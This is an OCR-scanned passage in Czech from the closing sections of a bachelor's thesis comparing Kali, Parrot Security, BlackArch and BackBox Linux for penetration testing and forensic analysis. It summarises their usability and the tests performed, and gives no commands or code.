Seznam nastrojl je u kazdé distribuce odlisny, avsak je mozné zpozorovat mnoZzstvi
nastrojl, které obsahuji vSechny distribuce. Nejvice nastrojii obsahuje BlackArch
Linux, nejméné BackBox Linux.

Nejvice uzivatelsky privétivy je vyhodnocen Kali Linux a Parrot Security. Obé
distribuce mohou byt vhodné pro zacinajici uzivatele. Parrot Security navic
obsahuje nastroje a aplikace potiebné nejen pro penetracni testovani. BlackArch
Linux vyZaduje jiZ zkuSenéjsiho testera vzhledem k jeho prostredi a nepfebernému
mnozstvi nastroju.

BackBox Linux. Naopak BlackArch je nejméné narocny, vzhledem k tomu, Ze je
odstinén od veSkeré grafiky a vyuZziva velice jednoduchou pracovni plochu.
BackBox Linux je vniman jako distribuce na udstupu, jelikoZ neprobihaji cCasté
aktualizace a vydavani novych verzi. Stary kernel zptsobil problémy s instalaci

ovladacti a velice zkomplikoval priibéh testu B1.



9 Zaver

Cilem bakalat'ské prace bylo porovnat 4 linuxové distribuce pro penetrac¢ni testy a
forenzni analyzu.

V teoretické ¢asti byla vysvétlena definice a pribéh penetracnich testii a forenzni
analyzy. Popsany byly jednotlivé metodiky, zabyvajici se penetracnim testovanim a
byly spolu porovnany. V zavéru teoretické casti byly predstaveny jednotlivé
distribuce, jejich nastroje a systémové poZadavky.

V praktické Casti se nachazeji jednotlivé testy. V testech jsou popsany pouZité
nastroje, postup, vysledky testli a doporuceni pro obranu pied utokem. Byly
provedeny 4 druhy testii se zaméienim na polomeni hesla WiFi sité, sken WordPress
aplikace a exploit OS Windows a linuxové distribuce Ubuntu. Dale byly provedeny 3
testy doplnujici, které neprobihaly na vSech distribucich. Prace sjednotlivymi
distribucemi byla dle nékolika kritérii porovnana a vyhodnocena.

Kazda z distribuci ma své vyhody i nevyhody, at' uz z hlediska poctu nastroji ¢i
hardwarovych pozadavki. Jednoznacné rici, ktera je nejlepsi, je nemoZné. Popularni
distribuci Kali Linux mizZe snadno predbéhnout Parrot Security. Pro zkuSené
BlackArch. Nejvice vSak zaleZi na samotném uZivateli, ktery podle svych zkuSenosti
a doporucenti voli jednu z distribuci.

Na zakladé zkuSenosti s distribucemi lze soudit, Ze prace etického hackera neni

jednoducha a vyzZaduje Siroké spektrum znalosti a zkuSenosti.
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